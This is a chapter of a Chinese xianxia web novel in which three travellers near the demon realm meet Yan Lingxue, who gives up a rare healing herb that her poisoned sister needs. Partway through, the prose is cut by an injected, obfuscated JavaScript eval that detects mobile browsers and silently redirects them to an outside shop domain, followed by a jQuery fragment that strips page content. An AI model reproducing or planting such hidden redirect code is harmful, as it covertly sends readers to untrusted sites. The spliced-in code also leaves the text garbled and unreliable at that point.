太清界的云海在他们脚下铺展了整整两天。
那头青风雕的翼展宽阔而稳定,每一次振翅都带着一种被长期驯化后特有的从容节奏,不紧不慢,却始终保持着均匀的速度。它偶尔会侧过头,用那双琥珀色的圆眼睛瞥一眼身后骑乘的两人,然后重新将目光投向前方,像是已经习惯了自己身上的乘客会带着些微的沉默坐在那里,既不催促,也不开口。
林修崖坐在青风雕的前部,白发在风中向后扬起。他一手扶着雕颈前方的鞍具,另一只手搭在膝上,掌心朝上,五指微微张开,像是在感受气流从指缝间穿过时的细微阻力。斩天神剑和破魂神枪被他分别固定在青风雕两侧的鞍扣上,剑鞘与枪杆在风中偶尔碰撞,发出极轻的金属声响,在风声中被迅速吞没。苏婉儿坐在他身后,一袭淡绿色长裙的裙摆被风吹得向后飘起,她用一只手拢着被风吹乱的发丝,另一只手轻轻按着腰间那只鼓鼓囊囊的储物袋——里面装着太清仙帝交付的那块太乙金精,色泽金黄,入手微温,是她此行最为重要的一件收获。
青风雕的身后,火麒麟像一团被点燃的暗色火焰,踩着翻涌的云层,以比青风雕略微急促的节奏跟随着。萧铁山骑在火麒麟的背上,赤着上身,古铜色的皮肤在晨光中泛着一层微亮的油光。他的玄铁拳套被他挂在腰侧的一枚铁扣上,随着火麒麟的步伐轻轻摇晃,像是一件被他暂时放下、却随时可以重新握起的备用物件。他的目光不断扫视着前方的天际线与下方的云层裂隙,像是在确认每一处地形变化是否与他在沿途记忆中标注过的位置相符。
"还有多远?"他开口问了一句,声音被风削得有些散,但依旧传到了林修崖耳中。
"按目前的速度,大约傍晚能到断仙崖边缘。"林修崖没有回头,声音平稳地穿过风层,"过了断仙崖之后,再往西南方向飞半天左右,就到万毒域的边界了。"
"万毒域那种地方……进去之后真的只能撑三天?"萧铁山的语气中带着一丝不太明显的试探,像是在预先确认自己需要做好什么样的心理准备,以便在踏进去之后不至于因为不可预见的意外而措手不及。
"三天。"苏婉儿接口,她的声音比林修崖更柔和一些,但语气同样确定,"解毒丹的药效只能维持三天。三天之内如果找不到九转还魂草,我们就必须原路退出,否则体内的毒气积累到一定程度之后,就算是医仙圣体也来不及完全清除。那些瘴气的侵蚀速度比绝大多数人想象中更快,不是靠修为硬撑就能撑过去的。"
"三天够了。"萧铁山咧嘴笑了一下,他每次说到以天数作为时限时都会笑,像是对任何一个以单一指标作为边界的事物都天然地保持着一种不太在意的态度,"大不了多带点水,少绕路。"
"如果你在万毒域里还能分清方向的话。"林修崖的声音里带着一丝极淡的、不易察觉的笑意。
萧铁山哼了一声,没有反驳,只是拍了拍火麒麟的颈侧,那头神兽低低地呼噜了一声,四蹄下的火焰微微一亮,像是被主人的情绪触动了一下,在青灰色的云层中泛起一道短暂的光痕。
他们继续向前飞去。云层在他们的下方缓缓流动,偶尔露出几道细长的裂隙,隐约可以看到地面的轮廓——绿色的山脊、蜿蜒的河流、细如丝线的旧道,像是被刻在一幅正在被缓慢翻动的旧地图上的模糊线条。青风雕的翅膀带起的气流在他们身后形成一个闭合的扇面,将那些被扰动的云层重新拢回原处。火麒麟的火焰在它的爪下持续燃烧,在云层表面留下一串短暂的赤色印记,随即被风吹散,像是从未存在过。
苏婉儿在青风雕的背上微微调整了一下坐姿,将储物袋的系带重新紧了一下。她的目光落在林修崖的侧脸上,他正在望着前方那片逐渐从浅蓝过渡到灰白色的天际线,像是一个正在远处辨认方向的旅人,在光线还未完全看清地形之前,先用自己的视线替它铺好了下一段路。
"修崖,"她轻声开口,那道声音被风压得很轻,却不至于被完全吹散,"你没事吧?"
"没事。"他微微侧过头,看着她,那道目光中带着一丝只会在她面前才偶尔流露的松动,像是他隔着那道被风削薄的声响,确认了她的位置仍然在那里,没有任何偏移,"在想万毒域的路线。"
"你一直在想那条路线。"她轻声说,不是质疑,只是在确认一件她已经注意到的事实。
"因为那条路不能走错。"林修崖说,"万毒域没有明确的标志物,光线被瘴气遮蔽之后很难用视觉判断方向。如果走偏了,三天时间就不够用了。"
苏婉儿没有再说话,只是将目光从他脸上移开,落向远方那道正在逐渐变得更加清晰的地平线。那里的云层颜色已经开始发生变化,从浅蓝过渡到一种灰白偏暗的色调,像是正在进入一片与太清界完全不同的大气区域。风也变得比之前更加干燥,带着一丝极其微弱的、如同旧金属被长时间暴露在潮湿空气中后残留的细微气味。那种气味太淡了,淡到如果不是她一直保持警觉,几乎不会注意到它的存在。
萧铁山也注意到了。他骑在火麒麟的背上微微抬高了身子,鼻翼轻轻翕动了一下,眉头微微蹙起:"这味道……不太对。"
"那是断仙崖方向的风。"林修崖说,"断仙崖两侧的灵气和魔气在崖壁上对冲,常年形成一种带有微量金属颗粒的气流。那边的空气就是这样的。"
"所以你以前来过这里。"
"没有。"林修崖说,"但我看过很多关于断仙崖的记载。它没有你想象中那么神秘,只是一种持续了太久的自然现象,被人们用各种叙述反复放大之后才变成了传说。"
萧铁山"唔"了一声,像是在重新审视自己此前对那道古崖所形成的那些印象,然后将目光重新投向前方。青风雕和火麒麟在灰白色的云层中继续向前飞行,将它们载往那道正在缓慢清晰起来的边界线。
傍晚时分,他们终于抵达了断仙崖。
那道崖壁比林修崖在古籍中读到的描述更加庞大。它从云层中垂直升起,如同一道被插入天地之间的巨大石刃,上端没入更高处的云幕之中,下端消失在脚下的深谷尽头。崖壁的表面呈现出一种不均匀的暗灰色,像是被风化、被雨水冲刷、被魔气和灵气反复侵蚀后留下的混合质地的产物,那些纹理的分布没有任何规律,每一道沟壑和裂隙都保持着各自独立的走向,像是成千上万条同时流经同一块崖壁的河流,在漫长的岁月中不断地冲刷、改道、重新切割,最终形成了眼前这道没有任何两段完全相同的岩面。
崖壁的顶端,隐约可以看到一层薄薄的光晕。那层光晕的厚度并不均匀,有的区域更亮一些,有的区域更暗,像是两种不同性质的能量在同一道界面上相互抵消、相互渗透,在两侧之间形成了一道动态的、不断调整自身位置的细线。
苏婉儿在青风雕的背上坐直了身子,她的目光扫过崖壁顶端那道动态的边界线,像是在辨认它的移动方向,然后将它——连同它上方的那道云层厚度、风向的变化,以及几道从崖壁裂隙中挤出来的细风——一起纳入了自己对这一带环境的整体感知中。
"那道光晕,就是仙域和魔域之间的边界。"她说,语气比平时更加平稳,像是在陈述一件她已经通过阅读和观察了解过的事实,"跨过它之后,空气中的灵力会被魔气稀释,变得不再纯粹。如果长时间停留在魔域一侧,修为会受到持续的削弱。"
"多长时间算长时间?"萧铁山问。
"视个人体质和修为而定。短的话几天,长的话几个月。但对我们来说,三天已经是极限了——不是因为修为撑不住,而是因为解毒丹的有效时限只有三天。"
萧铁山点了点头,没有再问。他在火麒麟的背上拍了拍那头的颈侧,示意它降低高度,跟着青风雕下降。两头灵兽在断仙崖南侧一处相对平缓的岩架上降落,岩架的表面覆盖着一层细碎的暗色砂石,踩上去会发出细微的碎裂声。崖壁上的风从他们头顶的裂隙中穿过,发出一种低沉的、断续的呜咽声,像是一根被拉得太久的弦在反复震颤中逐渐松弛后又再次绷紧。
林修崖从青风雕背上跃下,落地时膝盖微屈,稳稳地站在那片暗色砂石上。他没有立刻往前走,而是站在原地,将目光从崖壁顶端那道动态的光晕移开,沿着崖壁的表面扫视了一遍,然后抬头望向崖壁上方那道被暮色和雾气共同模糊了轮廓的顶部边缘。
萧铁山也从火麒麟背上跳了下来,落地时比林修崖更重一些,鞋底在那片砂石地面上踩出一个浅坑,细碎的砂石从坑的边缘向外滑动了几寸。他站定之后,先活动了一下肩背,然后将挂在腰侧的那对玄铁拳套取下来,不紧不慢地戴好,将它们调整到与手腕完全贴合的位置。
苏婉儿最后一个落地。她的动作比两人都要轻,脚尖触地时几乎没有发出声响,像是一片被风送到地面的叶片。她落地之后立刻检查了一下储物袋的系带,确认它依然稳固地系在腰间,然后抬起头,望向崖壁上方那片正在被暮色吞没的光晕。
"我们怎么过去?"萧铁山问。
"从崖壁南侧的旧道绕过去。"林修崖说,"那条旧道没有受到太多损坏,可以步行通过。过了旧道之后就是魔域边界了。"
他迈开脚步,率先向那道位于崖壁南侧的狭窄凹槽走去。萧铁山和苏婉儿跟在他身后,火麒麟和青风雕在岩架上停留下来,没有被召唤跟过去。在魔域边界的灵兽需要保持随时可以脱离的状态,而不是被携带进入那片光晕的另一侧。
那道旧道比萧铁山预想中更加狭窄。它不是被人工修整过的路面,更像是被长期通行后自然形成的轨迹,宽度仅容一人通过,两侧是近乎垂直的暗色岩壁,头顶的缝隙只够透进一线天光。脚下的岩面被无数鞋底和蹄足磨得光滑,在暗光中泛着一层微微的光泽。走在最前方的林修崖的步伐依旧稳定而从容,既不快也不慢,像是已经习惯了在狭窄的空间中长时间穿行。
旧道走了大约半个时辰。当他们走出那道狭窄通道的末端时,前方的视野骤然开阔起来。
那是一种极度的开阔,像是覆盖了整个视野。天空的颜色不再是仙域那种澄澈的浅蓝,也不是太清界那种被灵气浸润过的清透灰白,而是一种沉沉地压下来的暗红,像是一块被反复加热后冷却、冷却后再次加热的铁板,表面带着一层持续着微弱余温的旧色。地面从那道旧道出口处开始迅速过渡到一种与仙域完全不同的质地,更加粗糙,颜色更深,散布着一些细碎的石块和暗色的低矮灌丛,像是长期暴露在某种与正常降雨周期不相容的环境中的耐受植被。
苏婉儿站在那道旧道出口的边缘,将手掌平伸出去,感受着魔域边界处的空气在她指间流过。她的眉头微微蹙了一下,又很快松开,像是在心中确认了她之前阅读过的那些关于魔域的描述确实与眼前的情况吻合,然后放下了手。
"魔气开始渗透进来了。"她说,"空气中灵气的密度正在下降。不过目前还在可控范围内,暂时不需要额外防护。"
萧铁山站在她身边,目光扫过前方那片暗红色的荒原和零星的暗色植被。他的目光在那些灌丛和石块之间停留的时间比平时略长,像是在确认它们的位置和间距,以便在后续的移动中随时调用。
"走吧。"林修崖的声音从前方传来,"穿过这片荒原之后,会进入一条旧河道。沿着河道走,可以绕过那些容易被占据的位置,比直接横穿更安全。"
他率先迈出脚步,踏上了魔域边界处的第一块土地。脚下的触感与仙域不同,那种细微的差异被他的感官迅速捕捉到,但并没有让他停下脚步。萧铁山紧随其后,苏婉儿走在最后方,三人之间形成了一道松散的纵队,沿着那道旧河道延伸的方向,向万毒域的边缘稳步推进。
那片荒原没有萧铁山想象中那样空旷。细碎的暗色石块和低矮灌丛不均匀地覆盖着地面,步行的速度比预期的略慢,脚下的触感也时常变化——一段硬质沙土,一段碎石,一段被风沙覆盖过的低洼地带。林修崖在前方保持着稳定的节奏,每隔一段时间就会停下来等待后方两人跟齐,确认周围没有异常之后才继续前进。苏婉儿的步伐在行走中保持着均匀的节奏,像是在用一种既定的步幅覆盖那段距离,不需要额外的速度调节。
就在他们穿过那片荒原、接近旧河道入口时,前方的空气忽然微微震动了一下。那阵震动极轻极轻,轻到如果不是三人一直在保持着足够的警觉,几乎会忽略它的存在——但它确实在那里,像是一阵极低频率的余波,沿着地面传导上来,穿过鞋底和靴筒,在脚踝处被感知到。
林修崖的脚步停了下来。他微微侧过头,目光越过旧河道入口处的低矮岩石,投向远方的雾气中。雾气呈现出一种介乎灰白与暗红之间的混合色调,像是两种颜色在稳定的对抗中相互侵蚀,直到边缘被磨去了一半。
"有人。"他说。
萧铁山的脚步在他说出那两个字的一瞬间也停住了。他的目光顺着林修崖视线的方向望过去,右手微微抬高,指尖已经触到了玄铁拳套的冷硬表面。
雾气中有一道身影正在缓慢地浮现,那道轮廓先在雾气的边缘处变得清晰,然后像是被某种力量推着似的,逐渐成型。不是从远处走来的那种渐进式的清晰,更像是一段事先就已经被放置在视野中的停顿,现在只是缓缓地褪去覆盖在上面的雾气,露出原本就在那里的形状。
那是一个女人。
她身着一袭墨黑色的长裙,裙摆的边缘几乎垂到地面,在风沙中轻轻摆动,那种摆动与周围的地形特征吻合,没有超出风沙带动的范围。她的面容呈现出一种仙域少见的冷白,眉眼之间带着一种被长期隔绝在暗色光线之下才会形成的锐利感——不锋利,却极有存在感。她的腰间悬着一对弯刀,刀鞘上的纹路冷光内敛,光线照在刀鞘上时几乎不会产生明显的反射,只有光线恰好以特定角度掠过它的表面,才会显出一道极细的、转瞬即逝的暗色光泽。
她的身后,跟着一头体型庞大的魔狼。那头魔狼的毛色是一种没有光泽的暗色,与周围的雾气几乎融为一体,只有它的眼睛在幽暗的光线下泛着一层冷绿色的微光,像是两块正在缓慢冷却的燃木。它的步伐与那个女人完全同步——每一步落下的时间、间隔和力道都保持着一致,像是一道被她牵引着的光影,没有自己的意志和节奏。
三人同时停下了脚步。萧铁山的拳头已经握紧了,但他没有立刻出手,因为那个女人在距离他们大约五丈远的地方停住了——不近不远,恰好在可以保持距离观察、也可以迅速反应的范围内。她没有继续向前走,也没有做出任何防御性的姿态,只是站在那里,目光越过萧铁山的肩头,落在林修崖的方向。
她的目光在他腰间那柄斩天神剑上停了一瞬,然后移开,重新落回他的脸上。
"你是林修崖。"她说。语气很平,像是一个已经在某处确认过那道信息的人,在将它放下之前再做一次核对。
林修崖没有否认。他的目光在她的面容和那对弯刀上各停留了片刻,然后落回她的眼睛上。
"你是谁。"
"燕灵雪。"她的语气淡淡,像是在回答一个不需要解释的问题。
那个名字在空气中落定的瞬间,萧铁山握紧的拳头略微收紧了一下,但他没有发出声音。苏婉儿的目光在那对弯刀的刀鞘上多停留了一瞬,像是在辨认它的材质,然后移开了,重新落回燕灵雪的面容上。
"魔域的人。"萧铁山开口了,他的声音不高,却带着一种被压得很实的戒备,"你怎么会在这里。"
"路过。"燕灵雪说,"我对你们没有恶意。"
萧铁山没有放下拳头。他的目光在她和她身后的魔狼之间来回扫了一遍,像是在确认那道"没有恶意"的声明与她站定的位置和她身后的那道光影之间是否存在任何被忽略的偏差。
"仙魔不两立。"他说,"魔域的人,从来就没有一个真正的好东西。"
燕灵雪侧过头,看向他。她的目光没有愤怒,没有冷嘲,也没有任何被他的话语触动的痕迹,只是一道极为平静的、带着距离感的注视,像是在确认他说出那句话时是否真的带着他所声称的那种确信。她将目光收回来,重新落回林修崖身上,然后开口,声音依旧平稳,却带着一丝被压低的、像是从极深处向上攀升的细微硬度:
"你凭什么这样说。"她问。声音平静,不带挑衅,更像是在问一个她认为或许能得到不同答案的人。
"不需要凭什么。"萧铁山没有让步,"魔域中人,杀人如麻,嗜血成性,这本就是事实。"
"那是你以为的事实。"燕灵雪说。她的语气没有变,但尾音收得更平整了,像一扇被轻轻合上的门,比预想中闭合得更加完整,也更加安静。"魔域之中,同样有许多从未主动伤害过任何人的存在。他们只是生来就被烙上了魔域的印记,从未有过任何选择的余地。"
"你是在替他们说话,还是替你自己说话?"
"我没有在替任何人说话。"燕灵雪的目光从萧铁山身上移开,不再纠缠,"我只是在陈述一件你不想听的事。"
萧铁山的眉头蹙得更紧了。他侧过头,看向林修崖,像是在等他表态。林修崖没有立刻开口。他的目光与燕灵雪的目光在空气中交汇了一瞬,他看到了她眼中的那一层疏离,同时也看到了她站在那里的姿态——不是防备,不是挑衅,更像是在确认他是否会说出某些她听过的、无意义的套话。
"你来这里,是为了什么。"他问。
"救人。"燕灵雪说。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821728|211152||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
那两个字落地的时候,空气安静了一瞬。
"我妹妹身中一种极为罕见的剧毒。"燕灵雪的声音依旧平淡,但语气中出现了一道极其细微的、不易察觉的裂隙,"需要以九转还魂草解毒续命。我听说有人从万毒域方向带走了它,所以一路追了过来。"
苏婉儿的呼吸微微停滞了一瞬。她能感觉到那道落在自己身上的目光没有敌意,却也没有退意。那道目光在审视她的时候,像是在辨认一件她自己的判断力已经替她决定了的事情。
"九转还魂草在我这里。"她的声音不高,却带着一种不容商量的笃定,"我不能让给你。"
燕灵雪没有立刻回答。她的目光在苏婉儿身上停留了片刻,像是正在估算那番话里面有多少是她已经通过刚才的观察推测到的。然后她移开了视线。
"你的九转还魂草,是用来救谁的。"
"一个女孩。"苏婉儿的声音沉稳而清晰,"被邪修以剑灵化生之术炼化了大部分灵魂,仅剩最后一缕残魂。需要九转还魂草配合其他珍稀材料重塑肉身,才能有机会活过来。"
"那个女孩——对你来说,很重要?"燕灵雪将那道问题转向林修崖。她的目光落在他腰间那柄剑鞘上,像是已经从某个细节中捕捉到了答案的一部分。
"她是我结拜兄弟的亲妹妹。"
"所以,你用这株草去换一条命。"
"是。"
燕灵雪沉默了一会儿。她的目光没有落在任何具体的地方,也没有刻意望向远处的地平线。她的呼吸比之前深了一点,像是在确认那道信息的分量是否与她自身的那道经历重合——那种需要用自己的时间去换取他人时间的选择。
"我妹妹身中剧毒。"她说。声音没有刻意的悲悯,却带着一种薄而冷的平静,"她现在很虚弱。经脉受损,修为尽废,全靠药汤吊着最后一口气。"
"我没有办法把九转还魂草分给你。"苏婉儿说,"它的药力只有一整株才完整。"
"我知道。"燕灵雪说。她沉默了一瞬,那沉默在落在苏婉儿身上的余光与她自己呼吸之间的空隙中短暂地膨胀了一下,然后收拢回去,"你的那株草——是给一个与你无关的人用的。"
"她是我结拜兄弟的妹妹。"林修崖说。
"我的是我的妹妹。"燕灵雪说,"亲妹妹。"
风从她们之间的空隙中穿过,将几缕暗色的沙尘卷到半空,随即又落在脚下。两人没有再说话。
燕灵雪的目光从苏婉儿身上移开,向着远处的地平线方向望了一眼,那个方向正好是万毒域的入口方向——她来时的方向。然后她转回来,将目光重新投向林修崖,在落定的一瞬间比之前慢了一些。
"好。"她说。
那一个字不高不低,却带着一种清晰的重量。
"九转还魂草你们拿去吧。我另想他法。"
她没有再多停留,转过身,迈开脚步,朝着来路的方向走去。那魔狼在她转身的同时同步转向,它的步伐依旧与她保持着完全一致的频率,像是在那道光影与她的路径之间维持着一道已经被反复校准过多次的连接。燕灵雪走了约莫十步之后,脚步略微顿了一下,像是在那道已经走出了一段距离的间隙中重新确认了什么,然后继续向前走去。
"你为何要就此放弃?"林修崖的声音从她身后传来,穿过那道正在合拢的雾气,准确而平稳地落在她耳边。
她停住脚步,没有转身。
"你本可以不退让。"他继续说,"你的妹妹也在等那株草,你没有义务把它让给一个素不相识的人。"
"你的理由比我更正当。"燕灵雪的声音在雾气中传回来,带着一种清晰的、像已经过了一段时间来确认和计算的质地,"我是在救一个人。你是要救两个人——那个女孩的命,和你结拜兄弟那份快要散掉的心。"
她停顿了一下。那段停顿的长度比前几次略长,长到她不需要加快语速来掩饰它的深度。
"而且,她是天生的医仙圣体。九转还魂草在她手里能发挥出最大的价值。强行拿走它,于我也好,于那株草也罢,都只是浪费。"
她没有等回应,也没有回头,继续向前走去。她的裙摆在雾气中逐渐模糊,像是一道正在被收回的线。那头魔狼的轮廓在她身侧缓慢收拢,将她的身影一寸一寸地融入那片灰白色与暗红色交织的光晕之中。
林修崖站在那里,望着她消失的方向,没有追上去。风从他身后吹来,拂动他衣袍的下摆,将那句已经说过的话连同燕灵雪的轮廓一起带向远处。
萧铁山的拳头松开了一半。他望着那道逐渐隐没的轮廓,眉头依旧微蹙,像是在心里反复掂量那道对话的分量。
"大哥,你就这么放她走了?她可是魔神之女。"
"那又如何。"林修崖的声音平静,"她并无恶意,我们又何必非要与她为敌。"
"仙魔不两立,不代表仙域之人便都是好人,魔域之人便都该死。"他侧过身看向萧铁山,目光中没有责备,也没有说教,只是一道平静的确认,"我娘,便是魔域之人。她一生行善,从未害人。这个燕灵雪,和她一样,不是那种需要被提防的人。"
萧铁山沉默了。他望着林修崖的眼睛,像是在重新打量自己一直握着的那个判断。然后他松开了拳头,将它垂回身侧,没有反驳。
苏婉儿没有开口。她只是站在原地,望着那道轮廓消失的方向,那双温婉的眼睛里多了一层说不清道不明的深意。那道目光被风吹散了没有留下痕迹。她低头看了一眼储物袋的袋口,确认那株九转还魂草还在原处,然后直起身来,像是要将那道已经淡出视野的身影收进某处不会被轻易翻阅的角落。
她没有说出那句话——"她有一个妹妹在等她回去。"她只是在心里想了一遍,然后将它放下,像放下一件无法被亲手交付的旧物。
雾气重新聚拢,荒原恢复了它惯常的流动节奏。三人在原地停留了片刻,然后继续沿着旧河道的方向,向万毒域的入口走去。
而那道消失在雾气中的轮廓,正在穿过荒原的边缘,走向与她相反的方向。
她走得不快不慢。那道魔狼紧跟在她身侧,呼吸平稳,步伐没有随着地形的变化而加速或放缓。她走了大约半里路,在一处略微抬高的岩石旁边停了一下,没有回头,只是低头看了一眼自己腰间的弯刀。那道刀鞘上的纹路在她指尖触碰的时候微微亮了一下,然后又暗淡下去,像是某种被按住又松开的回响,没有继续延伸。她收回手,继续向前走去,穿过那道低矮的灌丛,走向暗红色荒原的另一端。那里,一道瘦小的身影正蜷缩在一块被风沙半掩的岩石后面,像是一片已经被风磨去了棱角的旧石,与周围的暗色沙土融为一体。
"姐姐。"那道声音很轻,却带着一种已经被反复使用过、因此不再需要额外力度的确定性。
燕灵雪在她面前蹲下来。她的目光落在陈小鸾那张因为持续的低烧和赶路的疲倦而略微发红的脸颊上,在几处细微的边缘处停留了片刻,像是在确认那道症状的蔓延是否超出了她上次离开时观察到的范围。然后她伸出手,将陈小鸾额前被风吹散的碎发拨到耳后,动作很轻。
"药没找到。"她说。
陈小鸾眨了眨眼睛。她没有问"为什么",也没有露出失望的表情,只是在确认她的姐姐没有受伤、弯刀还在原位之后,那道目光重新落回燕灵雪的眼睛里。
"那我们回去吗?"她问。
"嗯。"燕灵雪站起身,重新系紧腰间刀扣的系带。那头魔狼在她身边无声地蹲坐下来,像是一道她不需要确认位置就知道会跟随着她的存在。
她望了一眼万毒域入口的方向。那道方向在雾气中已经变得模糊,只有它边缘处那片深浅不一的暗红色与远方低缓的地平线形成了一个隐约的夹角,为她标记着那片区域与她出发位置之间的相对角度。
"走吧。"她转身,沿着与万毒域相反的方向走去。
陈小鸾站起身来,拍了拍衣裙上沾的沙土,跟在燕灵雪身后。魔狼在她们之间缓缓起身,保持着一道与陈小鸾的步伐相称的间距。三人的轮廓在雾气中逐渐变淡,像是被那片不稳定的光线重新吸收了。没有回头,也没有停留。
而不远处的荒原边缘,林修崖正站在旧河道入口处的低矮岩石上,收回目光,重新调整了一下枪扣的位置,然后转身朝苏婉儿和萧铁山的方向走去。
"走吧。"他说,"万毒域还有一段路。"
他们朝着另一个方向走去,将那道曾经短暂交汇过的路径留在身后,像两条在同一个地点改变方向、各自延伸向不同出口的航线。
雾气在她们身后重新合拢,像是不曾有人来过。